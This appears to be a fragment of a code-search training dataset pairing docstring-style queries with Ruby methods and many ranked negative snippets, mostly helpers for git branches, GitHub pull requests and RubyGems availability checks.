"def pull_request_url(api_url)\n # https://api.github.com/repos/typed-ember/ember-cli-typescript/pulls/334\n api_index = api_url.index(\"api\")\n repos_index = api_url.index(\"repos\")\n pulls_index = api_url.index(\"pulls\")\n\n # https://github.com/typed-ember/ember-cli-typescript/pull/334\n html_url = api_url[0..api_index - 1] +\n api_url[api_index + \"api.\".length..repos_index - 1] +\n api_url[repos_index + \"repos/\".length..pulls_index + \"pull\".length - 1] +\n api_url[pulls_index + \"pulls\".length..-1]\n html_url\n end",
"def find_request(rid)\n Requests.find_by(rid: rid)\n end",
"def bot_pull_request(contributorpr_url)\n h = redis.hgetall(\"contributorpr:#{contributorpr_url}\")\n h.inject({}) { |acc, entry| acc[entry[0].to_sym] = entry[1]; acc }\n end",
"def pull_comments\n GithubApi.pull_comments(self)\n end",
"def project_from_github(input)\n Github::ProjectMapper\n .new(Api.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end",
"def get_my_pull_requests\n repos_to_get = GITHUB_REPOS.kind_of?( Array ) ? GITHUB_REPOS : get_my_repos\n\n repos_to_get.each do |repo|\n status = []\n pulls_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/pulls?state=open\"\n\n get_json( pulls_url ).each_with_index do |item, index|\n sha = item[ 'head' ][ 'sha' ]\n status_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/commits/#{ sha }/status\"\n\n status << get_json( status_url )\n\n unless item[ 'assignee' ].nil?\n if item[ 'assignee' ][ 'login' ] == ENV[ 'GITHUB_USERNAME' ]\n color = ''\n state = status[ index ][ 'state' ]\n\n unless status[ index ][ 'statuses' ].empty?\n color = \"| color=#{ determine_status_color( state )}\"\n end\n\n puts \"#{ repo }: ##{ item[ 'number' ] } #{ item[ 'title' ] } #{ color } | href=#{ item[ 'html_url' ] }\"\n end\n end\n end\n end\nend",
"def hub_pull_request(message)\n mysystem(\"hub pull-request -m \\\"#{message}\\\"\")\n end",
"def url_for_request(query)\n root = \"https://api.github.com/\"\n root + \"search/issues?q=#{query}%2Brepo%3A#{repo_owner}%2F#{repo_name}&sort=created&order=asc\"\n end",
"def getPullRequestSummary(id)\n jsonHash = getJson(@url_pullrequests + \"/\" + id.to_s)\n return Summary.new(jsonHash, @options)\n end",
"def project_from_github(input)\n Github::ProjectMapper\n .new(App.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end",
"def contributor_pull_request(botpr_url)\n h = redis.hgetall(\"botpr:#{botpr_url}\")\n h.inject({}) { |acc, entry| acc[entry[0].to_sym] = entry[1]; acc }\n end",
"def parse_pull_request(a_string)\n pr_details = /^\\s.*#(?<id>\\d+) in (?<repo>.*) from (?<source>.*) to (?<target>.*)$/.match(a_string)\n pull_request = Hash[ pr_details.names.map{|k|k.to_sym}.zip( pr_details.captures ) ]\n return pull_request\nend",
"def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end",
"def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end",
"def closed_pull_requests(github_api)\n closed_pull_requests = github_api.pull_requests(full_name, state: 'closed')\n closed_pull_requests.collect do |pr|\n\n was_merged = !!(pr['merged_at'])\n closed = (pr['state'] == 'closed')\n open_time = Chronic.parse(pr['created_at'].to_s).to_time\n close_time = Chronic.parse(pr['closed_at'].to_s).to_time\n\n user = pr['user']\n # Ensure that the user exists before trying to continue\n next unless user\n login = user['login']\n from_community = !(github_api.organization_member?('puppetlabs', login))\n\n Hash[\"pr_number\" => pr['number'],\n \"repo_name\" => name,\n \"repo_owner\" => owner,\n \"merge_status\" => was_merged,\n \"time_closed\" => close_time,\n \"time_opened\" => open_time,\n \"from_community\" => from_community,\n \"closed_v_open\" => closed]\n end\n end",
"def pull_request_attributes\n {\n title: title,\n destination_branch: destination_branch,\n source_branch: git.current_branch,\n pivotal_ids: pivotal_ids,\n jira_ids: jira_ids,\n editor: options[:editor]\n }\n end",
"def check_for_pull(args)\n fail 'Please specify all arguments' unless args[:git_url] && args[:git_org] && args[:git_repo]\n # Build the Git URL\n git_url = \"#{args[:git_url]}api/v3/repos/#{args[:git_org]}/#{args[:git_repo]}/pulls\"\n\n # Download the JSON Data from the API\n resp = Net::HTTP.get_response(URI.parse(git_url))\n pulls = JSON.parse(resp.body)\n pulls.map { |p| p['number'] }\n end",
"def pull_requests\n uri = URI(uri_string_for_pull_requests)\n execute_http_request(:get, uri).body\n end",
"def find_merge_request_id\n GithubImport::IssuableFinder.new(project, note).database_id\n end",
"def uri_comment_on_pull(id)\n uri_parts(\n \"/repos/#{@github_user}/#{@github_repo}/issues/#{id}/comments\"\n ).values.join\n end",
"def pull_reqs(project)\n q = <<-QUERY\n select u.login as login, p.name as project_name, pr.id, pr.pullreq_id as github_id,\n a.created_at as created_at, b.created_at as closed_at,\n\t\t\t (select created_at\n from pull_request_history prh1\n where prh1.pull_request_id = pr.id\n and prh1.action='merged' limit 1) as merged_at,\n timestampdiff(minute, a.created_at, b.created_at) as lifetime_minutes,\n\t\t\ttimestampdiff(minute, a.created_at, (select created_at\n from pull_request_history prh1\n where prh1.pull_request_id = pr.id and prh1.action='merged' limit 1)\n ) as mergetime_minutes\n from pull_requests pr, projects p, users u,\n pull_request_history a, pull_request_history b\n where p.id = pr.base_repo_id\n\t and a.pull_request_id = pr.id\n and a.pull_request_id = b.pull_request_id\n and a.action='opened' and b.action='closed'\n\t and a.created_at < b.created_at\n and p.owner_id = u.id\n and p.id = ?\n\t group by pr.id\n order by pr.pullreq_id desc;\n QUERY\n db.fetch(q, project[:id]).all\n end",
"def download_pull_request_attachment(project_id_or_key, repository_id_or_name, pull_request_number, attachment_id)\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}/attachments/#{attachment_id}\")\n end",
"def propose_pull_request(github_account, params)\n params[:from] = \"#{github_account}:#{params[:from]}\"\n create_pull_request(params)\n end",
"def find_referenced_issue_by_id(id)\n return nil if id.blank?\n\n issue = Issue.find_by_id(id.to_i)\n if Setting.commit_cross_project_ref?\n # all issues can be referenced/fixed\n elsif issue\n # issue that belong to the repository project, a subproject or a parent project only\n unless issue.project &&\n (project == issue.project || project.is_ancestor_of?(issue.project) ||\n project.is_descendant_of?(issue.project))\n issue = nil\n end\n end\n issue\n end",
"def pull_request?\n !!issue.pull_request.html_url\n end",
"def pull_request?\n !!issue.pull_request.html_url\n end",
"def get(path, params)\n github_request(path, params)\n end",
"def update_pull_request(project_id_or_key, repository_id_or_name, pull_request_number, params = {})\n patch(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}\", params)\n end",
"def process_closed_pull_request(pull_request)\n pr_name = pull_request['base']['repo']['full_name'].to_s\n pr_number = pull_request['number'].to_s\n pr_key = pr_name + \":\" + pr_number\n current_commit_hash = pull_request['head']['sha'].to_s\n\n # Delete the PR from the redis store\n @redis.del(pr_key)\n return 200\n end",
"def find(local_param)\n if repo = list.find { |r| r.param == local_param }\n repo\n else\n refresh\n repo = list.find { |r| r.param == local_param }\n raise Ginatra::RepoNotFound if repo.nil?\n repo\n end\n end",
"def create_pull_request(repository:, target:, from:, title:, description:)\n KIT.create_pull_request(repository, target, from, title, description)\n end",
"def set_pull_request\n\t\t\tif deployment_id = params[:deployment_id]\n\t\t\t\t@deployment = Deployment.find_by_id(deployment_id)\n\t\t\t\t@pull_request = @deployment.pull_requests.find(params[:id])\n\t\t\t\t@deployable_application = @deployment.deployable_application\n\t\t\telse\n\t\t\t\t@pull_request = PullRequest.find(params[:id])\n\t\t\t\t@deployment = @pull_request.deployment\n\t\t\t\t@deployable_application = @pull_request.deployment.deployable_application\n\t\t\tend\n\t\tend"
] |
[
"0.7682807",
"0.72812897",
"0.71012455",
"0.6961377",
"0.69427884",
"0.6885304",
"0.6835581",
"0.6813103",
"0.6801041",
"0.67362016",
"0.6704051",
"0.6514978",
"0.63600606",
"0.6350393",
"0.6336136",
"0.6326449",
"0.6315208",
"0.6272912",
"0.6262028",
"0.6237632",
"0.61724895",
"0.61468595",
"0.61048424",
"0.6084839",
"0.60669196",
"0.60369533",
"0.6028333",
"0.6003771",
"0.60010093",
"0.5990568",
"0.5983992",
"0.59736025",
"0.59657395",
"0.595952",
"0.59482557",
"0.5933398",
"0.5927881",
"0.5908195",
"0.58799034",
"0.58715105",
"0.5848294",
"0.58153826",
"0.5811783",
"0.58043885",
"0.58040667",
"0.5783204",
"0.5779651",
"0.57648313",
"0.57558596",
"0.5747355",
"0.57042825",
"0.5700698",
"0.5681566",
"0.5679619",
"0.5677931",
"0.56686825",
"0.56334275",
"0.5616232",
"0.56148964",
"0.5613033",
"0.5608333",
"0.5559645",
"0.5559645",
"0.5510626",
"0.5503162",
"0.54881257",
"0.54880774",
"0.5463094",
"0.54521",
"0.54444784",
"0.5441553",
"0.54325646",
"0.5426823",
"0.54194665",
"0.5397822",
"0.53925806",
"0.5389918",
"0.5387559",
"0.53846234",
"0.5363235",
"0.53612256",
"0.53612256",
"0.5346984",
"0.53469706",
"0.53434426",
"0.5337416",
"0.53367686",
"0.5331491",
"0.53305817",
"0.5327676",
"0.5320772",
"0.5315127",
"0.53136814",
"0.53136814",
"0.53135157",
"0.53109866",
"0.53098106",
"0.52881104",
"0.52862006",
"0.5281367"
] |
0.76471967
|
1
|
Public: Find the branch Returns a String
|
def branch_to_merge_into
@branch_to_merge_into ||= git.latest_branch_for(branch_type)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def branch\n Branch[comparable.segments.first(2).join('.')]\n end",
"def get_branch \n branch = case @os_svninfo['URL']\n when /trunk/ then \"trunk\"\n when /branches\\/private\\/([^\\/]+)/ then $1\n when /branches\\/([^\\/]+)/ then $1\n when /patches\\/([^\\/]+)/ then $1\n when /tags\\/([^\\/]+)/ then $1\n else fail(\"Can't determine which branch I'm operating on\")\n end\n branch\n end",
"def branch\n %x[cd #{repo_path};git symbolic-ref HEAD 2>/dev/null | awk -F/ {'print $NF'}].chomp\n end",
"def get_branch_name\r\n\tputs IO.popen('git branch --no-abbrev').read.slice(2..-1)\r\nend",
"def human_friendly_branch_information\n return git_fork_config.branch if git_fork_config.branch.to_s.length > 0\n return sha[0...7]\n end",
"def find_branch(repo, branch)\n name, num = branch.split('-')\n\n variations = [ branch, \"#{name}#{num}\", \"#{name}_#{num}\" ]\n\n branches = %x( cd #{repo} ; git branch --list ).gsub('*', '').split(\"\\n\")\n branches.each do |b|\n b.strip!\n variations.each do |v|\n return b if (b == v)\n end\n end\n\n return nil\nend",
"def branch\n `git rev-parse --abbrev-ref HEAD`.strip.presence\n rescue\n nil\n end",
"def branch\n case @vcs\n when 'github'\n if @data.key? 'ref'\n @data['ref'].sub('refs/heads/', '')\n else\n @data['repository']['default_branch']\n end\n when 'gitlab'\n @data['ref'].sub('refs/heads/', '')\n when 'bitbucket-server'\n @data['changes'][0]['refId'].sub('refs/heads/', '')\n when 'bitbucket'\n return @data['push']['changes'][0]['new']['name'] unless deleted?\n\n @data['push']['changes'][0]['old']['name']\n when 'stash'\n @data['refChanges'][0]['refId'].sub('refs/heads/', '')\n when 'tfs'\n @data['resource']['refUpdates'][0]['name'].sub('refs/heads/', '')\n end\n end",
"def determine_branch_name(repo)\n name = \"\"\n repo.branches.each do |branch|\n if branch.head?\n name = branch.name\n break\n end\n end\n return name\nend",
"def current_branch\n hg('branch').to_s.strip\n end",
"def get_branch_from_relpath(patch_path_rel)\n str = patch_path_rel.match(/\\.\\/([^\\/]+)\\/([^0-9]+)(.*)/)\n p \"get_branch_from_relpath str:\"\n p str\n return str[1], str[2].chop!, str[3]\n end",
"def source_branch\n git_call('branch').chomp.match(/\\*(.*)/)[0][2..-1]\n end",
"def branch \n extra[\"branch\"] \n end",
"def branch\n if request.args.first == \"list\"\n request.args[1]\n else\n request.args.first\n end\n end",
"def current_branch\n repo.branches.find(&:head?)\n end",
"def branch_name\n if name.in?(['Cole Taylor Bank', 'MB Financial Bank, N.A.'])\n sfx = Channel.consumer_direct.identifier.eql?(channel) ? ' CD' : ''\n \"MB #{city}#{sfx}\"\n else\n name\n end\n end",
"def branch_name\n $repo.current_branch\n end",
"def extract_branch(changed_watched_paths)\n \n\t\tfirst_path=changed_watched_paths[0][1..-1]\n\t\tfirst_path.strip!\n\t\t@logger.debug(\"first_path is=\"<< first_path)\n \n\t\tret=''\n\t\tif first_path =~ /trunk/\n\t\t\t@logger.debug(\"returning=\"<< \"trunk\")\n\t\t\treturn \"trunk\"\n\t\tend\n\t\tif first_path =~ /ceDev/\n\t\t\t@logger.debug(\"returning=\"<< \"ceDev\")\n\t\t\treturn \"ceDev\"\n\t\tend\n ret=''\n for i in 1..2\n\t\t@logger.debug(\"i=\"<< i)\n if(first_path.length>ret.length)\n index=first_path.index('/', ret.length)\n if(index!=nil)\n ret << first_path[ret.length .. index]\n else\n break\n end\n end\n end\n\t\t@logger.debug(\"returning=\"<< ret)\n return ret\n\n\tend",
"def current_branch\n %x(git branch | grep '*' | cut -d' ' -f2).chomp\nend",
"def branchname\n @branchname ||= self.branch.name\n end",
"def branch\n @branch ||= `git branch 2> /dev/null`[/\\*\\s(.+)$/, 1]\n end",
"def branch_to\n label\n end",
"def current_branch\n repo.branches.find(&:head?)\n end",
"def to_label\n branch_name\n end",
"def current_branch; end",
"def current_branch; end",
"def get_branch(branch)\n return @tree[branch] unless @tree[branch].blank?\n tmp = @store.read branch\n if tmp != false\n @tree[branch] = tmp\n return tmp\n end\n false\n end",
"def discover_default_branch\n names = branch_names\n\n return if names.empty?\n\n return names[0] if names.length == 1\n\n if rugged_head\n extracted_name = Ref.extract_branch_name(rugged_head.name)\n\n return extracted_name if names.include?(extracted_name)\n end\n\n if names.include?('master')\n 'master'\n else\n names[0]\n end\n end",
"def current_branch\n return @branch unless @branch.blank?\n @branch = case @svninfo.url\n when /trunk/ then \"trunk\"\n when /branches\\/private\\/([^\\/]+)/ then $1\n when /branches\\/([^\\/]+)/ then $1\n when /tags\\/([^\\/]+)/ then $1\n else @config_source[\"branch\"]\n end \n @branch || \"unkown\"\n end",
"def get_git_branch()\n return `git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e \"s/* \\\\(.*\\\\)/\\\\1/\"`.strip\nend",
"def ask_for_branch(git,message)\n branch = git_branches(git)\n return branch[0] if branch.size == 1\n ask_for_item(message,branch)\n end",
"def derive_branch_name\n @config[:git][:branch] == 'preview' ? preview_branches.last : @config[:git][:branch]\n end",
"def find_branch(repo_slug, pattern)\n list = `git ls-remote --heads --sort=version:refname https://github.com/#{repo_slug} #{pattern}`\n list.split(\"\\n\")\n .map { |line| line.sub(%r{[0-9a-f]+\\trefs/heads/}, '').chomp }\n .last # Latest ref found, in \"version:refname\" semantic order\n end",
"def to_s\n branch.to_s\n end",
"def branch(tag=@current_branch)\n get_head(tag)\n end",
"def currentbranch\n %x{git branch | grep \"*\" | sed \"s;* ;;\"}.squish\n end",
"def current_branch\n ref = Rugged::Reference.lookup(@git, 'HEAD').resolve\n if not ref.branch?\n raise Error, \"Not currently on a branch.\"\n end\n ref.name.split('/').last\n end",
"def other_branch\n @other_branch ||= `git branch | grep #{pattern}`.strip\n end",
"def branch\n return git_fork_config.branch\n end",
"def branch(branch)\n all.select { |r| r.branch == branch }\n end",
"def parse_branch(es_branch)\n es_branch.chomp.split('/').last\nend",
"def discover_default_branch\n now_head = Ref.extract_branch_name(rugged_head.name)\n return now_head if now_head.to_s != \"\"\n\n names = local_branch_names\n if names.length == 0\n nil\n elsif names.include?(\"master\")\n \"master\"\n else\n names.first\n end\n end",
"def search_branch(branch)\n search_text(branch.name)\n end",
"def getMatchGitBranch(org_id)\n conf = loadIOSConfigFile(org_id)\n return conf['match_git_branch']\nend",
"def branch_name_value(branch_index=1)\n if @match_data.nil? || @match_data[branch_index].nil?\n branch_name = value_of_or_default(params[:branch_field], 'branch')\n else\n branch_name = @match_data[branch_index]\n end\n end",
"def branch(name, options = {})\n get_path(\n path_to_branch(name),\n options,\n get_parser(:collection, Tinybucket::Model::Commit)\n )\n end",
"def get_branch(status = `git status`)\n branch = nil\n if match = Regexp.new(\"^# On branch (.*)\").match(status)\n branch = match[1]\n end\nend",
"def git_get_current_branch()\n current_branch = `git branch`.split(/\\n/).find{ |l| l.start_with?(\"*\") }\n \n if current_branch\n current_branch =~ /\\*\\s+(.+)/\n $~[1]\n end \nend",
"def get_current_branch_from_git\n %x{ git rev-parse --abbrev-ref HEAD }.chomp\nend",
"def initial_ref\n %x[git rev-parse #{branch}].chomp\nend",
"def current_branch\n `git symbolic-ref --short -q HEAD`.chomp\n end",
"def branch_name\n `git name-rev --name-only HEAD`.strip\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def other_branch\n @other_branch ||= `git branch | grep #{pattern}`.split.first\n end",
"def current_branch\n `git symbolic-ref --short HEAD`.strip\n end",
"def branch\n (@options[:branch] || 'master').to_s\n end",
"def branch\n (@options[:branch] || 'master').to_s\n end",
"def discover(branch)\n return branch if is_branch?(branch)\n\n resp = Application.config.callback :on_branch_discover, @git_path, branch\n\n unless resp.nil?\n return resp\n end\n \n local_search = \"^\" + branch.gsub(/-/, \".\") + \"$\"\n remote_search = \"^remotes/origin/(\" + branch.gsub(/-/, \".\") + \")$\"\n local_r = Regexp.new(local_search, Regexp::IGNORECASE)\n remote_r = Regexp.new(remote_search, Regexp::IGNORECASE)\n\n git('branch -a').split(\"\\n\").each do |b|\n b = b.gsub('*', '').strip\n \n return b if local_r.match(b)\n if remote_r.match(b)\n return remote_r.match(b)[1]\n end\n end \n\n raise \"Unable to automatically detect branch. Given = #{branch}\"\n end",
"def branch(group:nil)\n case group\n when :remote\n flag = \"-r\"\n when :all\n flag = \"-a\"\n when nil, :local\n flag = \"\"\n end\n\n `git branch #{flag}`.lines.map do |line|\n fields = line.split\n\n if fields.first['*']\n fields[1].strip\n else\n fields.first.strip\n end\n end\nend",
"def current_branch\n git('branch')[/^\\* (.*)$/, 1]\n end",
"def current_branch\n git('branch')[/^\\* (.*)$/, 1]\n end",
"def get_branch_name\n puts 'Please provide a name for the branch:'\n branch_name = gets.chomp\n branch_name.gsub(/\\W+/, '_').downcase\n end",
"def current\n branch = list.find{|b| b.match /\\*/ }\n branch.gsub(/\\* /, '')\n end",
"def branch\n @env.fetch( :branch, \"N/A\" )\n end",
"def find_branch(name, force_reload = false)\n reload_rugged if force_reload\n\n rugged_ref = rugged.ref(\"refs/heads/\" + name)\n if rugged_ref\n target_commit = Gitlab::Git::Commit.find(self, rugged_ref.target)\n Gitlab::Git::Branch.new(self, rugged_ref.canonical_name, rugged_ref.target, target_commit)\n end\n end",
"def branch(environment)\n env_path = File.join(@path, \"config/deploy/#{environment}.rb\")\n content = File.read(env_path)\n content.match(REGEX_BRANCH)[1]\n end",
"def current_branch\n Dir.chdir @root do\n cmd = \"git rev-parse --abbrev-ref HEAD\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n case stderr\n when /unknown revision/\n raise Error, \"could not determine branch of repo with no commits\"\n when /Not a git repository/\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n return stdout.strip\n end\n end",
"def branch_name\n @branch_name ||= (0...19).map { (65 + rand(26)).chr }.join.downcase\n end",
"def getBranchLocationObjName\r\n\t\t\treturn \"mfiforce__Branch_Location__c\"\r\n\t\tend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def patch_branch\n num = 1\n branch_name = form_data[\"title\"].parameterize\n return branch_name unless branch_exists?(branch_name)\n branch = \"#{branch_name}-#{num}\"\n while branch_exists?(branch) do\n num = num + 1\n branch = \"#{branch_name}-#{num}\"\n end\n branch\n end",
"def branch(version = Origen.app.version.prefixed)\n version = VersionString.new(version)\n version = version.prefixed if version.semantic?\n capture = false\n File.readlines(\"#{Origen.root}/doc/history\").each do |line|\n line = line.strip\n if capture\n if capture && line =~ /^#+ .*(Selector|Branch): '(.*)'/\n return Regexp.last_match(2).gsub('\\\\', '')\n end\n else\n if line =~ /Tag:/\n line = line.gsub('\\\\', '')\n if line =~ /^#+ Tag: #{version}$/ ||\n line =~ />Tag: #{version}</\n capture = true\n end\n end\n end\n end\n nil\n end",
"def entry_name_from_branch(commit_hash)\n Git::Parser.branch_of_commit(commit_hash).tr('-', ' ')\n end",
"def branch_name\n @branch_name ||= ENV['GIT_BRANCH'] || `git rev-parse --abbrev-ref HEAD`.chomp\n end",
"def get_branch_sha\n cmd = \"git ls-remote '#@repo_url' | awk '/#@branch/ {print $1}'\"\n puts cmd\n @branch_sha ||= %x[#{cmd}].chomp\n raise 'Could not get branch sha!' unless $?.success?\n @branch_sha\n end",
"def branch_tree(id, destination = nil)\n res = branch_commit id\n return nil unless res\n return res.tree unless destination\n begin\n item = res.tree.path(destination)\n rescue\n return nil\n end\n return nil if item[:type] != :tree\n barerepo.lookup(item[:oid])\n end",
"def current_branch\n self.lib.branch_current\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n logger.info \"Deploying branch #{branch}\"\n branch\nend",
"def current_branch\n git.branch.name\n end",
"def parse_branch(es_branch)\n es_branch.chomp.split(/-|\\//).last\nend",
"def branch_tree(id, destination = nil)\n res = branch_commit id\n return nil unless res\n if destination\n begin\n item = res.tree.path(destination)\n rescue\n return nil\n end\n return nil if item[:type] != :tree\n return barerepo.lookup(item[:oid])\n else\n return res.tree\n end\n end",
"def local_branch_information\n #This is sensitive to checkouts of branches specified with wrong case\n\n listing = capture_process_output(\"#{LOCAL_BRANCH_LISTING_COMMAND}\")[1]\n\n raise(NotOnGitRepositoryError, listing.chomp) if listing =~ /Not a git repository/i\n if listing =~ /\\(no branch\\)/\n raise InvalidBranchError, [\"Couldn't identify the current local branch. The branch listing was:\",\n LOCAL_BRANCH_LISTING_COMMAND.red, listing].join(\"\\n\")\n end\n\n current_branch = nil\n branches = listing.split(\"\\n\").map do |line|\n current = line.include? '*'\n clean_line = line.gsub('*','').strip\n current_branch = clean_line if current\n clean_line\n end\n\n return current_branch, branches\n end",
"def remote_branch_from_local(branch_name)\n remote_branches.find { |x| x.ends_with?(branch_name) }\n end",
"def default_branch\n @default_branch ||= Nokogiri::HTML(open(branches_url)).at_css('tr.base td.name h3').text.strip.chomp\n rescue OpenURI::HTTPError => err\n raise GithubMetadata::RepoNotFound, err.to_s\n end",
"def branch\n 'refs/heads/master'\nend",
"def branch; @extra[\"branch\"]; end",
"def find_github_issue\n\n issue = github.branch_for_head.match(/(issue\\/\\d+)/)\n if issue\n return issue[1]\n end\n\nend",
"def branch; end",
"def find_by_branch(branch_id)\n @client.get(\"/#{@model}s/branch\", {branch_id: branch_id})\n end",
"def bic_with_branch_code\n if self.bic.length == 8\n return \"#{self.bic}XXX\"\n else\n return self.bic\n end\n end",
"def current_branch\n @current_branch ||= `git rev-parse --abbrev-ref HEAD`.strip\n end",
"def get_pr_identifier(branch_name)\n puts \"Resolving PR identifier for: #{branch_name}\"\n return 0 if branch_name.nil? || (branch_name.include? 'master')\n\n branch_name.split('/')[0].to_i\nend",
"def show\n @branch = @repository.branches.where(:name => params[:branch_name]).first!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @branch }\n end\n end",
"def branch_type\n data['branch-type']\n end",
"def last_commit(branch_name)\n @rugged_repository.branches[branch_name].target\n end"
] |
[
"0.7701627",
"0.7414213",
"0.74123764",
"0.73223263",
"0.7201864",
"0.7189215",
"0.7159361",
"0.70476866",
"0.70452327",
"0.7043845",
"0.70029676",
"0.6950333",
"0.6944219",
"0.6918607",
"0.68718827",
"0.6861051",
"0.68578726",
"0.6855712",
"0.68493634",
"0.6831805",
"0.67604",
"0.67229503",
"0.67087567",
"0.6705428",
"0.67032367",
"0.67032367",
"0.66859895",
"0.6683532",
"0.66735655",
"0.66589755",
"0.6638187",
"0.66327137",
"0.6632306",
"0.662821",
"0.662476",
"0.66176295",
"0.659284",
"0.65751827",
"0.6558064",
"0.65575475",
"0.65495807",
"0.65445626",
"0.6521767",
"0.6513156",
"0.6510021",
"0.6508048",
"0.6506345",
"0.64926714",
"0.6489512",
"0.6483483",
"0.64652395",
"0.6451165",
"0.6449651",
"0.6449651",
"0.6449651",
"0.6449651",
"0.6449651",
"0.6449651",
"0.64339346",
"0.6431694",
"0.64288026",
"0.64288026",
"0.64177513",
"0.6413037",
"0.64119864",
"0.64119864",
"0.64107853",
"0.6409035",
"0.6396342",
"0.6386848",
"0.63793445",
"0.63668525",
"0.6363459",
"0.6342426",
"0.6336037",
"0.6336037",
"0.6322244",
"0.62961066",
"0.62938255",
"0.62890106",
"0.62711376",
"0.6255695",
"0.624916",
"0.62289107",
"0.622021",
"0.61914706",
"0.6188284",
"0.61754906",
"0.6132086",
"0.6107345",
"0.61004335",
"0.60913116",
"0.60456204",
"0.60454834",
"0.6035294",
"0.6031599",
"0.6008372",
"0.59884787",
"0.59606236",
"0.5955637",
"0.59493226"
] |
0.0
|
-1
|
Check with the rubygems api to see if this gem name is available.
|
def gem_is_available?
@thor.say("Check if #{@name} is available as a gem name.", :yellow)
uri = URI.parse("https://rubygems.org/api/v1/gems/#{@name}.json")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
return response.code == '404'
rescue SocketError => e
# rubygems is down, skip check
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gem_available?(name)\n Gem::Specification.find_by_name(name)\nrescue Gem::LoadError\n false\nend",
"def gem_exists? gem_name\n @swift.object_info @gems_container, gem_name\n end",
"def have_gem? name\n Gem::Specification.find_by_name name.to_s\n rescue Gem::LoadError\n false\n end",
"def gem_available?(name)\n Gem::Specification.find_by_name(name)\nrescue Gem::LoadError\n false\nrescue\n Gem.available?(name) #for backwards compatibility\nend",
"def gem_available?(gemname)\n\t# gem_available_new_rubygems?(gemname) or gem_available_old_rubygems?(gemname)\n\tif defined?(Gem::Specification) and defined?(Gem::Specification.find_by_name)\n\t\tgem_available_new_rubygems?(gemname)\n\telse\n\t\tgem_available_old_rubygems?(gemname)\n\tend\nend",
"def installed?(gem_name)\n !run('list', '|', 'grep', \"' #{gem_name} '\").empty?\n end",
"def gem_installed?(gem_name)\n found_gem = false\n begin\n found_gem = Gem::Specification.find_by_name(gem_name)\n rescue Gem::LoadError\n return false \n else\n return true \n end\nend",
"def loaded?(gem_name)\n @gems.has_key? gem_name\n end",
"def gem_exists?(gem_name)\n begin\n output = `gem specification --local #{gem_name} 2> /dev/null`\n return output =~ /^\\-\\-\\- \\!ruby\\/object\\:Gem\\:\\:Specification/\n rescue\n # we get here if gem exits with an error code\n return false\n end\n end",
"def named?\n named = false\n\n if gem.present? and name.present?\n named = true\n end\n\n named\n end",
"def gem_available_old_rubygems?(gemname)\n\tGem.available?(gemname)\nend",
"def loaded?( gem_name )\n \n gem_require_name = gem_name.to_s.gsub( '/', '-' )\n \n return @loaded_gems.has_key?( gem_require_name.to_sym )\n \n end",
"def gem_should_be_checked?(gem_name)\n gem_name.index('barkest_') == 0\n end",
"def gem_installed?(gem_name)\n !Gem::Specification.find_by_name(gem_name).nil?\n rescue Gem::LoadError\n false\n end",
"def has_gem(name, version=nil)\n version = version.nil? ? '' : version.gsub('.', '\\.')\n @commands << \"sudo gem list | grep -e '^#{name} (.*#{version}.*)$'\"\n end",
"def gem_available?(name)\n Gem::Specification.find_by_name(name)\nrescue Gem::LoadError\n puts \"[*] - esearchy requires #{name}.\"\n if RUBY_PLATFORM =~ /mingw|mswin/\n \tsystem \"gem install #{name}\"\n else\n \tsystem \"sudo gem install #{name}\"\n end\nend",
"def exist?\n ruby_gems_fetcher.started?\n end",
"def gem_installed?(gem_name)\n list = `gem list #{gem_name}`\n list.split(\"\\n\").any? { |line| line.include?(gem_name) }\nend",
"def has_gem(name, version = nil)\n version = version ? \"--version '#{version}'\" : '' \n @commands << \"gem list '#{name}' --installed #{version} > /dev/null\"\n end",
"def gem?\n @gem\n end",
